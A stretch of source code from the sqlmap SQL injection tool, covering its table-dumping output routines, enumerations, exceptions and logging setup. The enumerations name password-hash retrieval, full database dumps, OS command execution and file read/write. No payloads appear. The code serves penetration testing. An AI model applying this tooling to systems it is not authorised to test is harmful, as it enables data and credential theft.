basestring) else _) if conf.api: self._write(userSettings, content_type=content_type) return if userSettings: self._write("%s:" % header) for user in users: settings = userSettings[user] if settings is None: stringSettings = "" else: stringSettings = " [%d]:" % len(settings) if user in self._areAdmins: self._write("[*] %s (administrator)%s" % (user, stringSettings)) else: self._write("[*] %s%s" % (user, stringSettings)) if settings: settings.sort() for setting in settings: self._write(" %s: %s" % (subHeader, setting)) if userSettings: self.singleString("") def dbs(self, dbs): self.lister("available databases", dbs, content_type=CONTENT_TYPE.DBS) def dbTables(self, dbTables): if isinstance(dbTables, dict) and len(dbTables) > 0: if conf.api: self._write(dbTables, content_type=CONTENT_TYPE.TABLES) return maxlength = 0 for tables in dbTables.values(): for table in tables: if table and isListLike(table): table = table[0] maxlength = max(maxlength, len(unsafeSQLIdentificatorNaming(normalizeUnicode(table) or unicode(table)))) lines = "-" * (int(maxlength) + 2) for db, tables in dbTables.items(): tables.sort() self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db else "Current database") if len(tables) == 1: self._write("[1 table]") else: self._write("[%d tables]" % len(tables)) self._write("+%s+" % lines) for table in tables: if table and isListLike(table): table = table[0] table = unsafeSQLIdentificatorNaming(table) blank = " " * (maxlength - len(normalizeUnicode(table) or unicode(table))) self._write("| %s%s |" % (table, blank)) self._write("+%s+\n" % lines) elif dbTables is None or len(dbTables) == 0: self.singleString("No tables found", content_type=CONTENT_TYPE.TABLES) else: self.string("tables", dbTables, content_type=CONTENT_TYPE.TABLES) def dbTableColumns(self, tableColumns, content_type=None): if isinstance(tableColumns, dict) and len(tableColumns) > 0: if conf.api: self._write(tableColumns, content_type=content_type) return for db, tables in tableColumns.items(): if not db: db = "All" for table, columns in tables.items(): maxlength1 = 0 maxlength2 = 0 colType = None colList = columns.keys() colList.sort(key=lambda _: _.lower() if isinstance(_, basestring) else _) for column in colList: colType = columns[column] column = unsafeSQLIdentificatorNaming(column) maxlength1 = max(maxlength1, len(column or "")) maxlength2 = max(maxlength2, len(colType or "")) maxlength1 = max(maxlength1, len("COLUMN")) lines1 = "-" * (maxlength1 + 2) if colType is not None: maxlength2 = max(maxlength2, len("TYPE")) lines2 = "-" * (maxlength2 + 2) self._write("Database: %s\nTable: %s" % (unsafeSQLIdentificatorNaming(db) if db else "Current database", unsafeSQLIdentificatorNaming(table))) if len(columns) == 1: self._write("[1 column]") else: self._write("[%d columns]" % len(columns)) if colType is not None: self._write("+%s+%s+" % (lines1, lines2)) else: self._write("+%s+" % lines1) blank1 = " " * (maxlength1 - len("COLUMN")) if colType is not None: blank2 = " " * (maxlength2 - len("TYPE")) if colType is not None: self._write("| Column%s | Type%s |" % (blank1, blank2)) self._write("+%s+%s+" % (lines1, lines2)) else: self._write("| Column%s |" % blank1) self._write("+%s+" % lines1) for column in colList: colType = columns[column] column = unsafeSQLIdentificatorNaming(column) blank1 = " " * (maxlength1 - len(column)) if colType is not None: blank2 = " " * (maxlength2 - len(colType)) self._write("| %s%s | %s%s |" % (column, blank1, colType, blank2)) else: self._write("| %s%s |" % (column, blank1)) if colType is not None: self._write("+%s+%s+\n" % (lines1, lines2)) else: self._write("+%s+\n" % lines1) def dbTablesCount(self, dbTables): if isinstance(dbTables, dict) and len(dbTables) > 0: if conf.api: self._write(dbTables, content_type=CONTENT_TYPE.COUNT) return maxlength1 = len("Table") maxlength2 = len("Entries") for ctables in dbTables.values(): for tables in ctables.values(): for table in tables: maxlength1 = max(maxlength1, len(normalizeUnicode(table) or unicode(table))) for db, counts in dbTables.items(): self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db else "Current database") lines1 = "-" * (maxlength1 + 2) blank1 = " " * (maxlength1 - len("Table")) lines2 = "-" * (maxlength2 + 2) blank2 = " " * (maxlength2 - len("Entries")) self._write("+%s+%s+" % (lines1, lines2)) self._write("| Table%s | Entries%s |" % (blank1, blank2)) self._write("+%s+%s+" % (lines1, lines2)) sortedCounts = counts.keys() sortedCounts.sort(reverse=True) for count in sortedCounts: tables = counts[count] if count is None: count = "Unknown" tables.sort(key=lambda _: _.lower() if isinstance(_, basestring) else _) for table in tables: blank1 = " " * (maxlength1 - len(normalizeUnicode(table) or unicode(table))) blank2 = " " * (maxlength2 - len(str(count))) self._write("| %s%s | %d%s |" % (table, blank1, count, blank2)) self._write("+%s+%s+\n" % (lines1, lines2)) else: logger.error("unable to retrieve the number of entries for any table") def dbTableValues(self, tableValues): replication = None rtable = None dumpFP = None appendToFile = False warnFile = False if tableValues is None: return db = tableValues["__infos__"]["db"] if not db: db = "All" table = tableValues["__infos__"]["table"] if conf.api: self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE) return dumpDbPath = os.path.join(conf.dumpPath, unsafeSQLIdentificatorNaming(db)) if conf.dumpFormat == DUMP_FORMAT.SQLITE: replication = Replication(os.path.join(conf.dumpPath, "%s.sqlite3" % unsafeSQLIdentificatorNaming(db))) elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML): if not os.path.isdir(dumpDbPath): try: os.makedirs(dumpDbPath) except: warnFile = True _ = unicodeencode(re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(db))) dumpDbPath = os.path.join(conf.dumpPath, "%s-%s" % (_, hashlib.md5(unicodeencode(db)).hexdigest()[:8])) if not os.path.isdir(dumpDbPath): try: os.makedirs(dumpDbPath) except Exception, ex: try: tempDir = tempfile.mkdtemp(prefix="sqlmapdb") except IOError, _: errMsg = "unable to write to the temporary directory ('%s'). " % _ errMsg += "Please make sure that your disk is not full and " errMsg += "that you have sufficient write permissions to " errMsg += "create temporary files and/or directories" raise SqlmapSystemException(errMsg) warnMsg = "unable to create dump directory " warnMsg += "'%s' (%s). " % (dumpDbPath, getSafeExString(ex)) warnMsg += "Using temporary directory '%s' instead" % tempDir logger.warn(warnMsg) dumpDbPath = tempDir dumpFileName = os.path.join(dumpDbPath, re.sub(r'[\\/]', UNSAFE_DUMP_FILEPATH_REPLACEMENT, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower()))) if not checkFile(dumpFileName, False): try: openFile(dumpFileName, "w+b").close() except SqlmapSystemException: raise except: warnFile = True _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(table))) if len(_) < len(table) or IS_WIN and table.upper() in WINDOWS_RESERVED_NAMES: _ = unicodeencode(re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(table))) dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (_, hashlib.md5(unicodeencode(table)).hexdigest()[:8], conf.dumpFormat.lower())) else: dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (_, conf.dumpFormat.lower())) else: appendToFile = any((conf.limitStart, conf.limitStop)) if not appendToFile: count = 1 while True: candidate = "%s.%d" % (dumpFileName, count) if not checkFile(candidate, False): try: shutil.copyfile(dumpFileName, candidate) except IOError: pass finally: break else: count += 1 dumpFP = openFile(dumpFileName, "wb" if not appendToFile else "ab", buffering=DUMP_FILE_BUFFER_SIZE) count = int(tableValues["__infos__"]["count"]) separator = str() field = 1 fields = len(tableValues) - 1 columns = prioritySortColumns(tableValues.keys()) if conf.col: cols = conf.col.split(',') columns = sorted(columns, key=lambda _: cols.index(_) if _ in cols else 0) for column in columns: if column != "__infos__": info = tableValues[column] lines = "-" * (int(info["length"]) + 2) separator += "+%s" % lines separator += "+" self._write("Database: %s\nTable: %s" % (unsafeSQLIdentificatorNaming(db) if db else "Current database", unsafeSQLIdentificatorNaming(table))) if conf.dumpFormat == DUMP_FORMAT.SQLITE: cols = [] for column in columns: if column != "__infos__": colType = Replication.INTEGER for value in tableValues[column]['values']: try: if not value or value == " ": # NULL continue int(value) except ValueError: colType = None break if colType is None: colType = Replication.REAL for value in tableValues[column]['values']: try: if not value or value == " ": # NULL continue float(value) except ValueError: colType = None break cols.append((unsafeSQLIdentificatorNaming(column), colType if colType else Replication.TEXT)) rtable = replication.createTable(table, cols) elif conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "\n\n\n") dataToDumpFile(dumpFP, "\n" % UNICODE_ENCODING) dataToDumpFile(dumpFP, "%s\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table))) dataToDumpFile(dumpFP, HTML_DUMP_CSS_STYLE) dataToDumpFile(dumpFP, "\n\n\n\n\n\n") if count == 1: self._write("[1 entry]") else: self._write("[%d entries]" % count) self._write(separator) for column in columns: if column != "__infos__": info = tableValues[column] column = unsafeSQLIdentificatorNaming(column) maxlength = int(info["length"]) blank = " " * (maxlength - len(column)) self._write("| %s%s" % (column, blank), newline=False) if not appendToFile: if conf.dumpFormat == DUMP_FORMAT.CSV: if field == fields: dataToDumpFile(dumpFP, "%s" % safeCSValue(column)) else: dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(column), conf.csvDel)) elif conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "" % cgi.escape(column).encode("ascii", "xmlcharrefreplace")) field += 1 if conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "\n\n\n\n") self._write("|\n%s" % separator) if conf.dumpFormat == DUMP_FORMAT.CSV: dataToDumpFile(dumpFP, "\n" if not appendToFile else "") elif conf.dumpFormat == DUMP_FORMAT.SQLITE: rtable.beginTransaction() if count > TRIM_STDOUT_DUMP_SIZE: warnMsg = "console output will be trimmed to " warnMsg += "last %d rows due to " % TRIM_STDOUT_DUMP_SIZE warnMsg += "large table size" logger.warning(warnMsg) for i in xrange(count): console = (i >= count - TRIM_STDOUT_DUMP_SIZE) field = 1 values = [] if conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "") for column in columns: if column != "__infos__": info = tableValues[column] if len(info["values"]) <= i: continue if info["values"][i] is None: value = u'' else: value = getUnicode(info["values"][i]) value = DUMP_REPLACEMENTS.get(value, value) values.append(value) maxlength = int(info["length"]) blank = " " * (maxlength - len(value)) self._write("| %s%s" % (value, blank), newline=False, console=console) if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value: try: mimetype = magic.from_buffer(value, mime=True) if any(mimetype.startswith(_) for _ in ("application", "image")): if not os.path.isdir(dumpDbPath): os.makedirs(dumpDbPath) _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(column))) filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (_, randomInt(8))) warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath) logger.warn(warnMsg) with open(filepath, "wb") as f: _ = safechardecode(value, True) f.write(_) except magic.MagicException, err: logger.debug(str(err)) if conf.dumpFormat == DUMP_FORMAT.CSV: if field == fields: dataToDumpFile(dumpFP, "%s" % safeCSValue(value)) else: dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel)) elif conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "" % cgi.escape(value).encode("ascii", "xmlcharrefreplace")) field += 1 if conf.dumpFormat == DUMP_FORMAT.SQLITE: try: rtable.insert(values) except SqlmapValueException: pass elif conf.dumpFormat == DUMP_FORMAT.CSV: dataToDumpFile(dumpFP, "\n") elif conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "\n") self._write("|", console=console) self._write("%s\n" % separator) if conf.dumpFormat == DUMP_FORMAT.SQLITE: rtable.endTransaction() logger.info("table '%s.%s' dumped to sqlite3 database '%s'" % (db, table, replication.dbpath)) elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML): if conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "\n
%s
%s
\n\n") else: dataToDumpFile(dumpFP, "\n") dumpFP.close() msg = "table '%s.%s' dumped to %s file '%s'" % (db, table, conf.dumpFormat, dumpFileName) if not warnFile: logger.info(msg) else: logger.warn(msg) def dbColumns(self, dbColumnsDict, colConsider, dbs): if conf.api: self._write(dbColumnsDict, content_type=CONTENT_TYPE.COLUMNS) return for column in dbColumnsDict.keys(): if colConsider == "1": colConsiderStr = "s LIKE '%s' were" % unsafeSQLIdentificatorNaming(column) else: colConsiderStr = " '%s' was" % unsafeSQLIdentificatorNaming(column) msg = "column%s found in the " % colConsiderStr msg += "following databases:" self._write(msg) _ = {} for db, tblData in dbs.items(): for tbl, colData in tblData.items(): for col, dataType in colData.items(): if column.lower() in col.lower(): if db in _: if tbl in _[db]: _[db][tbl][col] = dataType else: _[db][tbl] = {col: dataType} else: _[db] = {} _[db][tbl] = {col: dataType} continue self.dbTableColumns(_) def query(self, query, queryRes): self.string(query, queryRes, content_type=CONTENT_TYPE.SQL_QUERY) def rFile(self, fileData): self.lister("files saved to", fileData, sort=False, content_type=CONTENT_TYPE.FILE_READ) def registerValue(self, registerData): self.string("Registry key value data", registerData, content_type=CONTENT_TYPE.REG_READ, sort=False) # object to manage how to print the retrieved queries output to # standard output and sessions file dumper = Dump() sqlmap-1.2.4/lib/core/enums.py000066400000000000000000000251351326012263700162220ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ class PRIORITY: LOWEST = -100 LOWER = -50 LOW = -10 NORMAL = 0 HIGH = 10 HIGHER = 50 HIGHEST = 100 class SORT_ORDER: FIRST = 0 SECOND = 1 THIRD = 2 FOURTH = 3 FIFTH = 4 LAST = 100 # Reference: https://docs.python.org/2/library/logging.html#logging-levels class LOGGING_LEVELS: NOTSET = 0 DEBUG = 10 INFO = 20 WARNING = 30 ERROR = 40 CRITICAL = 50 class DBMS: ACCESS = "Microsoft Access" DB2 = "IBM DB2" FIREBIRD = "Firebird" MAXDB = "SAP MaxDB" MSSQL = "Microsoft SQL Server" MYSQL = "MySQL" ORACLE = "Oracle" PGSQL = "PostgreSQL" SQLITE = "SQLite" SYBASE = "Sybase" HSQLDB = "HSQLDB" INFORMIX = "Informix" class DBMS_DIRECTORY_NAME: ACCESS = "access" DB2 = "db2" FIREBIRD = "firebird" MAXDB = "maxdb" MSSQL = "mssqlserver" MYSQL = "mysql" ORACLE = "oracle" PGSQL = "postgresql" SQLITE = "sqlite" SYBASE = "sybase" HSQLDB = "hsqldb" INFORMIX = "informix" class CUSTOM_LOGGING: PAYLOAD = 9 TRAFFIC_OUT = 8 TRAFFIC_IN = 7 class OS: LINUX = "Linux" WINDOWS = "Windows" class PLACE: GET = "GET" POST = "POST" URI = "URI" COOKIE = "Cookie" USER_AGENT = "User-Agent" REFERER = "Referer" HOST = "Host" CUSTOM_POST = "(custom) POST" CUSTOM_HEADER = "(custom) HEADER" class POST_HINT: SOAP = "SOAP" JSON = "JSON" JSON_LIKE = "JSON-like" MULTIPART = "MULTIPART" XML = "XML (generic)" ARRAY_LIKE = "Array-like" class HTTPMETHOD: GET = "GET" POST = "POST" HEAD = "HEAD" PUT = "PUT" DELETE = "DELETE" TRACE = "TRACE" OPTIONS = "OPTIONS" CONNECT = "CONNECT" PATCH = "PATCH" class NULLCONNECTION: HEAD = "HEAD" RANGE = "Range" SKIP_READ = "skip-read" class REFLECTIVE_COUNTER: MISS = "MISS" HIT = "HIT" class CHARSET_TYPE: BINARY = 1 DIGITS = 2 HEXADECIMAL = 3 ALPHA = 4 ALPHANUM = 5 class HEURISTIC_TEST: CASTED = 1 NEGATIVE = 2 POSITIVE = 3 class HASH: MYSQL = r'(?i)\A\*[0-9a-f]{40}\Z' MYSQL_OLD = r'(?i)\A(?![0-9]+\Z)[0-9a-f]{16}\Z' POSTGRES = r'(?i)\Amd5[0-9a-f]{32}\Z' MSSQL = r'(?i)\A0x0100[0-9a-f]{8}[0-9a-f]{40}\Z' MSSQL_OLD = r'(?i)\A0x0100[0-9a-f]{8}[0-9a-f]{80}\Z' MSSQL_NEW = r'(?i)\A0x0200[0-9a-f]{8}[0-9a-f]{128}\Z' ORACLE = r'(?i)\As:[0-9a-f]{60}\Z' ORACLE_OLD = r'(?i)\A[0-9a-f]{16}\Z' MD5_GENERIC = r'(?i)\A[0-9a-f]{32}\Z' SHA1_GENERIC = r'(?i)\A[0-9a-f]{40}\Z' SHA224_GENERIC = r'(?i)\A[0-9a-f]{56}\Z' SHA256_GENERIC = r'(?i)\A[0-9a-f]{64}\Z' SHA384_GENERIC = r'(?i)\A[0-9a-f]{96}\Z' SHA512_GENERIC = r'(?i)\A[0-9a-f]{128}\Z' CRYPT_GENERIC = r'\A(?!\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z)(?![0-9]+\Z)[./0-9A-Za-z]{13}\Z' JOOMLA = r'\A[0-9a-f]{32}:\w{32}\Z' WORDPRESS = r'\A\$P\$[./0-9a-zA-Z]{31}\Z' APACHE_MD5_CRYPT = r'\A\$apr1\$.{1,8}\$[./a-zA-Z0-9]+\Z' UNIX_MD5_CRYPT = r'\A\$1\$.{1,8}\$[./a-zA-Z0-9]+\Z' APACHE_SHA1 = r'\A\{SHA\}[a-zA-Z0-9+/]+={0,2}\Z' VBULLETIN = r'\A[0-9a-fA-F]{32}:.{30}\Z' VBULLETIN_OLD = r'\A[0-9a-fA-F]{32}:.{3}\Z' SSHA = r'\A\{SSHA\}[a-zA-Z0-9+/]+={0,2}\Z' SSHA256 = r'\A\{SSHA256\}[a-zA-Z0-9+/]+={0,2}\Z' SSHA512 = r'\A\{SSHA512\}[a-zA-Z0-9+/]+={0,2}\Z' DJANGO_MD5 = r'\Amd5\$[^$]+\$[0-9a-f]{32}\Z' DJANGO_SHA1 = r'\Asha1\$[^$]+\$[0-9a-f]{40}\Z' MD5_BASE64 = r'\A[a-zA-Z0-9+/]{22}==\Z' SHA1_BASE64 = r'\A[a-zA-Z0-9+/]{27}=\Z' SHA256_BASE64 = r'\A[a-zA-Z0-9+/]{43}=\Z' SHA512_BASE64 = r'\A[a-zA-Z0-9+/]{86}==\Z' # Reference: http://www.zytrax.com/tech/web/mobile_ids.html class MOBILES: BLACKBERRY = ("BlackBerry 9900", "Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+") GALAXY = ("Samsung Galaxy S", "Mozilla/5.0 (Linux; U; Android 2.2; en-US; SGH-T959D Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1") HP = ("HP iPAQ 6365", "Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; HP iPAQ h6300)") HTC = ("HTC Sensation", "Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30") IPHONE = ("Apple iPhone 4s", "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B179 Safari/7534.48.3") NEXUS = ("Google Nexus 7", "Mozilla/5.0 (Linux; Android 4.1.1; Nexus 7 Build/JRO03D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19") NOKIA = ("Nokia N97", "Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/10.0.012; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) WicKed/7.1.12344") class PROXY_TYPE: HTTP = "HTTP" HTTPS = "HTTPS" SOCKS4 = "SOCKS4" SOCKS5 = "SOCKS5" class REGISTRY_OPERATION: READ = "read" ADD = "add" DELETE = "delete" class DUMP_FORMAT: CSV = "CSV" HTML = "HTML" SQLITE = "SQLITE" class HTTP_HEADER: ACCEPT = "Accept" ACCEPT_CHARSET = "Accept-Charset" ACCEPT_ENCODING = "Accept-Encoding" ACCEPT_LANGUAGE = "Accept-Language" AUTHORIZATION = "Authorization" CACHE_CONTROL = "Cache-Control" CONNECTION = "Connection" CONTENT_ENCODING = "Content-Encoding" CONTENT_LENGTH = "Content-Length" CONTENT_RANGE = "Content-Range" CONTENT_TYPE = "Content-Type" COOKIE = "Cookie" EXPIRES = "Expires" HOST = "Host" IF_MODIFIED_SINCE = "If-Modified-Since" LAST_MODIFIED = "Last-Modified" LOCATION = "Location" PRAGMA = "Pragma" PROXY_AUTHORIZATION = "Proxy-Authorization" PROXY_CONNECTION = "Proxy-Connection" RANGE = "Range" REFERER = "Referer" REFRESH = "Refresh" # Reference: http://stackoverflow.com/a/283794 SERVER = "Server" SET_COOKIE = "Set-Cookie" TRANSFER_ENCODING = "Transfer-Encoding" URI = "URI" USER_AGENT = "User-Agent" VIA = "Via" X_POWERED_BY = "X-Powered-By" X_DATA_ORIGIN = "X-Data-Origin" class EXPECTED: BOOL = "bool" INT = "int" class OPTION_TYPE: BOOLEAN = "boolean" INTEGER = "integer" FLOAT = "float" STRING = "string" class HASHDB_KEYS: DBMS = "DBMS" DBMS_FORK = "DBMS_FORK" CHECK_WAF_RESULT = "CHECK_WAF_RESULT" CONF_TMP_PATH = "CONF_TMP_PATH" KB_ABS_FILE_PATHS = "KB_ABS_FILE_PATHS" KB_BRUTE_COLUMNS = "KB_BRUTE_COLUMNS" KB_BRUTE_TABLES = "KB_BRUTE_TABLES" KB_CHARS = "KB_CHARS" KB_DYNAMIC_MARKINGS = "KB_DYNAMIC_MARKINGS" KB_INJECTIONS = "KB_INJECTIONS" KB_ERROR_CHUNK_LENGTH = "KB_ERROR_CHUNK_LENGTH" KB_XP_CMDSHELL_AVAILABLE = "KB_XP_CMDSHELL_AVAILABLE" OS = "OS" class REDIRECTION: YES = "Y" NO = "N" class PAYLOAD: SQLINJECTION = { 1: "boolean-based blind", 2: "error-based", 3: "inline query", 4: "stacked queries", 5: "AND/OR time-based blind", 6: "UNION query", } PARAMETER = { 1: "Unescaped numeric", 2: "Single quoted string", 3: "LIKE single quoted string", 4: "Double quoted string", 5: "LIKE double quoted string", } RISK = { 0: "No risk", 1: "Low risk", 2: "Medium risk", 3: "High risk", } CLAUSE = { 0: "Always", 1: "WHERE", 2: "GROUP BY", 3: "ORDER BY", 4: "LIMIT", 5: "OFFSET", 6: "TOP", 7: "Table name", 8: "Column name", } class METHOD: COMPARISON = "comparison" GREP = "grep" TIME = "time" UNION = "union" class TECHNIQUE: BOOLEAN = 1 ERROR = 2 QUERY = 3 STACKED = 4 TIME = 5 UNION = 6 class WHERE: ORIGINAL = 1 NEGATIVE = 2 REPLACE = 3 class WIZARD: BASIC = ("getBanner", "getCurrentUser", "getCurrentDb", "isDba") INTERMEDIATE = ("getBanner", "getCurrentUser", "getCurrentDb", "isDba", "getUsers", "getDbs", "getTables", "getSchema", "excludeSysDbs") ALL = ("getBanner", "getCurrentUser", "getCurrentDb", "isDba", "getHostname", "getUsers", "getPasswordHashes", "getPrivileges", "getRoles", "dumpAll") class ADJUST_TIME_DELAY: DISABLE = -1 NO = 0 YES = 1 class WEB_API: PHP = "php" ASP = "asp" ASPX = "aspx" JSP = "jsp" class CONTENT_TYPE: TARGET = 0 TECHNIQUES = 1 DBMS_FINGERPRINT = 2 BANNER = 3 CURRENT_USER = 4 CURRENT_DB = 5 HOSTNAME = 6 IS_DBA = 7 USERS = 8 PASSWORDS = 9 PRIVILEGES = 10 ROLES = 11 DBS = 12 TABLES = 13 COLUMNS = 14 SCHEMA = 15 COUNT = 16 DUMP_TABLE = 17 SEARCH = 18 SQL_QUERY = 19 COMMON_TABLES = 20 COMMON_COLUMNS = 21 FILE_READ = 22 FILE_WRITE = 23 OS_CMD = 24 REG_READ = 25 PART_RUN_CONTENT_TYPES = { "checkDbms": CONTENT_TYPE.TECHNIQUES, "getFingerprint": CONTENT_TYPE.DBMS_FINGERPRINT, "getBanner": CONTENT_TYPE.BANNER, "getCurrentUser": CONTENT_TYPE.CURRENT_USER, "getCurrentDb": CONTENT_TYPE.CURRENT_DB, "getHostname": CONTENT_TYPE.HOSTNAME, "isDba": CONTENT_TYPE.IS_DBA, "getUsers": CONTENT_TYPE.USERS, "getPasswordHashes": CONTENT_TYPE.PASSWORDS, "getPrivileges": CONTENT_TYPE.PRIVILEGES, "getRoles": CONTENT_TYPE.ROLES, "getDbs": CONTENT_TYPE.DBS, "getTables": CONTENT_TYPE.TABLES, "getColumns": CONTENT_TYPE.COLUMNS, "getSchema": CONTENT_TYPE.SCHEMA, "getCount": CONTENT_TYPE.COUNT, "dumpTable": CONTENT_TYPE.DUMP_TABLE, "search": CONTENT_TYPE.SEARCH, "sqlQuery": CONTENT_TYPE.SQL_QUERY, "tableExists": CONTENT_TYPE.COMMON_TABLES, "columnExists": CONTENT_TYPE.COMMON_COLUMNS, "readFile": CONTENT_TYPE.FILE_READ, "writeFile": CONTENT_TYPE.FILE_WRITE, "osCmd": CONTENT_TYPE.OS_CMD, "regRead": CONTENT_TYPE.REG_READ } class CONTENT_STATUS: IN_PROGRESS = 0 COMPLETE = 1 class AUTH_TYPE: BASIC = "basic" DIGEST = "digest" NTLM = "ntlm" PKI = "pki" class AUTOCOMPLETE_TYPE: SQL = 0 OS = 1 SQLMAP = 2 class NOTE: FALSE_POSITIVE_OR_UNEXPLOITABLE = "false positive or unexploitable" class MKSTEMP_PREFIX: HASHES = "sqlmaphashes-" CRAWLER = "sqlmapcrawler-" IPC = "sqlmapipc-" CONFIG = "sqlmapconfig-" TESTING = "sqlmaptesting-" RESULTS = "sqlmapresults-" COOKIE_JAR = "sqlmapcookiejar-" BIG_ARRAY = "sqlmapbigarray-" SPECIFIC_RESPONSE = "sqlmapresponse-" class TIMEOUT_STATE: NORMAL = 0 EXCEPTION = 1 TIMEOUT = 2 sqlmap-1.2.4/lib/core/exception.py000066400000000000000000000031551326012263700170670ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ class SqlmapBaseException(Exception): pass class SqlmapCompressionException(SqlmapBaseException): pass class SqlmapConnectionException(SqlmapBaseException): pass class SqlmapDataException(SqlmapBaseException): pass class SqlmapFilePathException(SqlmapBaseException): pass class SqlmapGenericException(SqlmapBaseException): pass class SqlmapInstallationException(SqlmapBaseException): pass class SqlmapMissingDependence(SqlmapBaseException): pass class SqlmapMissingMandatoryOptionException(SqlmapBaseException): pass class SqlmapMissingPrivileges(SqlmapBaseException): pass class SqlmapNoneDataException(SqlmapBaseException): pass class SqlmapNotVulnerableException(SqlmapBaseException): pass class SqlmapSilentQuitException(SqlmapBaseException): pass class SqlmapUserQuitException(SqlmapBaseException): pass class SqlmapShellQuitException(SqlmapBaseException): pass class SqlmapSkipTargetException(SqlmapBaseException): pass class SqlmapSyntaxException(SqlmapBaseException): pass class SqlmapSystemException(SqlmapBaseException): pass class SqlmapThreadException(SqlmapBaseException): pass class SqlmapTokenException(SqlmapBaseException): pass class SqlmapUndefinedMethod(SqlmapBaseException): pass class SqlmapUnsupportedDBMSException(SqlmapBaseException): pass class SqlmapUnsupportedFeatureException(SqlmapBaseException): pass class SqlmapValueException(SqlmapBaseException): pass sqlmap-1.2.4/lib/core/log.py000066400000000000000000000025441326012263700156530ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import logging import sys from lib.core.enums import CUSTOM_LOGGING logging.addLevelName(CUSTOM_LOGGING.PAYLOAD, "PAYLOAD") logging.addLevelName(CUSTOM_LOGGING.TRAFFIC_OUT, "TRAFFIC OUT") logging.addLevelName(CUSTOM_LOGGING.TRAFFIC_IN, "TRAFFIC IN") LOGGER = logging.getLogger("sqlmapLog") LOGGER_HANDLER = None try: from thirdparty.ansistrm.ansistrm import ColorizingStreamHandler disableColor = False for argument in sys.argv: if "disable-col" in argument: disableColor = True break if disableColor: LOGGER_HANDLER = logging.StreamHandler(sys.stdout) else: LOGGER_HANDLER = ColorizingStreamHandler(sys.stdout) LOGGER_HANDLER.level_map[logging.getLevelName("PAYLOAD")] = (None, "cyan", False) LOGGER_HANDLER.level_map[logging.getLevelName("TRAFFIC OUT")] = (None, "magenta", False) LOGGER_HANDLER.level_map[logging.getLevelName("TRAFFIC IN")] = ("magenta", None, False) except ImportError: LOGGER_HANDLER = logging.StreamHandler(sys.stdout) FORMATTER = logging.Formatter("\r[%(asctime)s] [%(levelname)s] %(message)s", "%H:%M:%S") LOGGER_HANDLER.setFormatter(FORMATTER) LOGGER.addHandler(LOGGER_HANDLER) LOGGER.setLevel(logging.INFO) sqlmap-1.2.4/lib/core/option.py000066400000000000000000002703171326012263700164070ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import binascii import cookielib import glob import inspect import logging import httplib import os import random import re import socket import string import sys import tempfile import threading import time import urllib2 import urlparse import lib.controller.checks import lib.core.common import lib.core.threads import lib.core.convert import lib.request.connect import lib.utils.search from lib.controller.checks import checkConnection from lib.core.common import Backend from lib.core.common import boldifyMessage from lib.core.common import checkFile from lib.core.common import dataToStdout from lib.core.common import getPublicTypeMembers from lib.core.common import getSafeExString from lib.core.common import extractRegexResult from lib.core.common import filterStringValue from lib.core.common import findLocalPort from lib.core.common import findPageForms from lib.core.common import getConsoleWidth from lib.core.common import getFileItems from lib.core.common import getFileType from lib.core.common import getUnicode from lib.core.common import normalizePath from lib.core.common import ntToPosixSlashes from lib.core.common import openFile from lib.core.common import parseTargetDirect from lib.core.common import parseTargetUrl from lib.core.common import paths from lib.core.common 